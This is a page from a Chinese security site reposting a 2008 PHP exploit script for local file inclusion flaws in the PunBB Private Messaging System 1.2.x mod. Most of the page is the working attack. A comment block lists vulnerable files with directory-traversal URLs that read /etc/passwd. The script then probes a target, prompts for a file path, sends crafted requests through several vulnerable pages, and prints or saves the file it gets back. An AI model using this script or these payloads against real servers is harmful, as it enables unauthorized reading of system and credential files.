首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit
来源:staker[at]hotmail[dot]it 作者:athos 发布时间:2008-11-20  
<?php

error_reporting(0);
ini_set("default_socket_timeout",5);




/*
  
  
    PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit
    -----------------------------------------------------------
    by athos - staker[at]hotmail[dot]it
    download mod http://www.punres.org/files.php?pid=52
    download cms http://punbb.org
    -----------------------------------------------------------
    register_globals = 1
    magic_quotes_gpc = 1
   
    Directory (files/include/pms)

    functions_navlinks.php?pun_user[language]=../../../../../etc/passwd
    profile_send.php?pun_user[language]=../../../../../etc/passwd
    viewtopic_PM-link.php?pun_user[language]=../../../../../etc/passwd

    ../../etc/passwd and nullbyte
   


    File (files/include/pms/functions_navlinks.php)
   
    1. <?php
    2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
   
    $pun_user['language'] isn't declared :D you can include any file
   
    functions_navlinks.php?pun_user[language]=../../../etc/passwd%00
    -------------------------------------------------------------------
   
    File (files/include/pms/header_new_messages.php)
   
    1. <?php
    2. if(!$pun_user['is_guest'] && $pun_user['g_pm'] == 1 && $pun_config['o_pms_enabled'] ){
    3. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
   
    $pun_user['g_pm'] isn't declared
    $pun_config['o_pms_enabled'] isn't declared
   
    header_new_messages.php?pun_user[g_pm]=1&pun_config[o_pms_enabled]=x&pun_user[language]=../etc/passd%00
   
   
    -------------------------------------------------------------------
   
    File (files/include/pms/profile_send.php))
   
    1. <?php
    2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
   
    $pun_user['language'] isn't declared
   
    profile_send.php?pun_user[language]=../../../../etc/passwd%00
   
    -------------------------------------------------------------------
   
    File (files/include/pms/viewtopic_PM-link.php)
   
    1. <?php
    2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
   
    $pun_user['language'] isn't declared
   
    viewtopic_PM-link.php?pun_user[language]=../../../../etc/passwd%00
   
    -------------------------------------------------------------------
   
   
    Usage:  php [punbb.php] [host/path] [mode]
            php [punbb.php] [host/path] [save]
            php [punbb.php] [host/path] [NULL]
          
   Example:
            php punbb.php localhost/punbb save
            php punbb.php localhost/punbb
         
                  
    NOTE: Don't add me on MSN Messenger

   
   
*/   

$exploit = new Exploit;
$domain = $argv[1];
$mymode = $argv[2];

$exploit->starting();
$exploit->is_vulnerable($domain);
$exploit->exploiting($domain,$mymode);



class Exploit
{
 
  function http_request($host,$data)
  {  
  
    if(!$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP))
    {
       echo "socket_create() error!\r\n";
       exit;
    }
    if(!socket_set_option($socket,SOL_SOCKET,SO_BROADCAST,1))
    {
      echo "socket_set_option() error!\r\n";
      exit;
    }
   
    if(!socket_connect($socket,$host,80))
    {
      echo "socket_connect() error!\r\n";
      exit;
    }
    if(!socket_write($socket,$data,strlen($data)))
    {
      echo "socket_write() errror!\r\n";
      exit;
    }
 
    while($get = socket_read($socket,1024,PHP_NORMAL_READ))
    {
      $content .= $get;
    }

    socket_close($socket);
 
  
   $array = array(
                 'HTTP/1.1 404 Not Found',
                 'HTTP/1.1 300 Multiple Choices',
                 'HTTP/1.1 301 Moved Permanently',
                 'HTTP/1.1 302 Found',
                 'HTTP/1.1 304 Not Modified',
                 'HTTP/1.1 400 Bad Request',
                 'HTTP/1.1 401 Unauthorized',
                 'HTTP/1.1 402 Payment Required',
                 'HTTP/1.1 403 Forbidden',
                 'HTTP/1.1 405 Method Not Allowed',
                 'HTTP/1.1 406 Not Acceptable',
                 'HTTP/1.1 407 Proxy Authentication Required',
                 'HTTP/1.1 408 Request Timeout',
                 'HTTP/1.1 409 Conflict',
                 'HTTP/1.1 410 Gone',
                 'HTTP/1.1 411 Length Required',
                 'HTTP/1.1 412 Precondition Failed',
                 'HTTP/1.1 413 Request Entity Too Large',
                 'HTTP/1.1 414 Request-URI Too Long',
                 'HTTP/1.1 415 Unsupported Media Type',
                 'HTTP/1.1 416 Request Range Not Satisfiable',
                 'HTTP/1.1 417 Expectation Failed',
                 'HTTP/1.1 Retry With',
                );
               
              
    for($i=0;$i<=count($array);$i++)
  
    if(eregi($array[$i],$content))
    {
      return ("$array[$i]\r\n");
      break;
    }
    else
    {
      return ("$content\r\n");
      break;
    }
  }
    
 
  function is_vulnerable($host)
  {
    $host = explode('/',$host);
   
    $header .= "GET /$host[1]/profile_send.php?pun_user[language]=%27 HTTP/1.1\r\n";
    $header .= "Host: $host[0]\r\n";
    $header .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
    $header .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $header .= "Accept-Language: en-us,en;q=0.5\r\n";
    $header .= "Accept-Encoding: gzip,deflate\r\n";
    $header .= "Connection: close\r\n\r\n";
   
    if(stristr($this->http_request($host[0],$header),"\\'"))
    { 
      echo "[+] Magic Quotes GPC/Register Globals On!\n";
      echo "[+] Exploit Failed!\n";
      exit;
    }
    else
    {
      return false;
    }
  }
 
  function starting()
  {
  
    global $argv;
   
    if(preg_match('/http://(.+?)$/',$argv[1]) or empty($argv[1]))
    {
   
      echo "[+] PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit\r\n";
      echo "[+] by athos - staker[at]hotmail[dot]it\r\n";
      echo "    -----------------------------------------------------------\r\n";
      echo "[+] Usage: php $argv[0] [host/path] [mode]\r\n";
      echo "[+] Usage: php $argv[0] [host/path] [save]\r\n";
      echo "[+] Usage: php $argv[0] [host/path]        \r\n";
      exit;
   
    }
  }
 
  function exploiting($host,$mode)
  {
   
    $host = explode('/',$host);
    $i = 0;
   
   
    echo "[+] Local File (ex: ../../etc/passwd%00)\r\n";
    echo "[+] Local File: ";
   
    $file = stripslashes(trim(fgets(STDIN)));
   
    if(empty($file)) die("you fail");
   
   
    $array = array (
                    "functions_navlinks.php?pun_user[language]=$file",
                    "profile_send.php?pun_user[language]=$file",
                    "viewtopic_PM-link.php?pun_user[language]=$file",
                    "header_new_messages.php?pun_user[g_pm]=1&pun_config[o_pms_enabled]=x&pun_user[language]=$file",
                  );

    $write .= "GET /$host[1]/files/include/pms/$array[$i] HTTP/1.1\r\n";
    $write .= "Host: $host[0]\r\n";
    $write .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
    $write .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $write .= "Accept-Language: en-us,en;q=0.5\r\n";
    $write .= "Accept-Encoding: gzip,deflate\r\n";
    $write .= "Connection: close\r\n\r\n";
   

  
   
    if(stristr($this->http_request($host[0],$write),'No such file or directory in'))
    {
      $i++;
    }
    else
    {
      if($mode == "save")
      {
  
        $rand = rand(0,99999);
        fclose(fwrite(fopen(getcwd().'/'.$rand.'.txt',"a+"),$this->http_request($host[0],$write)));
       
        echo "[+] File $rand Saved Successfully!\r\n";
        echo "[+] Exploit Terminated!\r\n";
        exit;
     
      }
      else
      {
        echo $this->http_request($host[0],$write);
        exit;
      }
    }
  }
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Chilkat Socket activex 2.3.1.1
·MyTopix <= 1.3.0 (notes send)
·FREEze Greetings 1.0 Remote Pa
·MauryCMS <= 0.53.2 Remote Shel
·Opera 9.62 file:// Local Heap
·Exploits Microsoft VISTA TCP/I
·Portfolio <= 0.3 Remote Arbitr
·MS Windows Server Service Code
·Exodus 0.10 (uri handler) Arbi
·Minigal b13 (index.php list) R
·PunBB Mod PunPortal 0.1 Local
·Sudo <= 1.6.9p18 (Defaults set
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved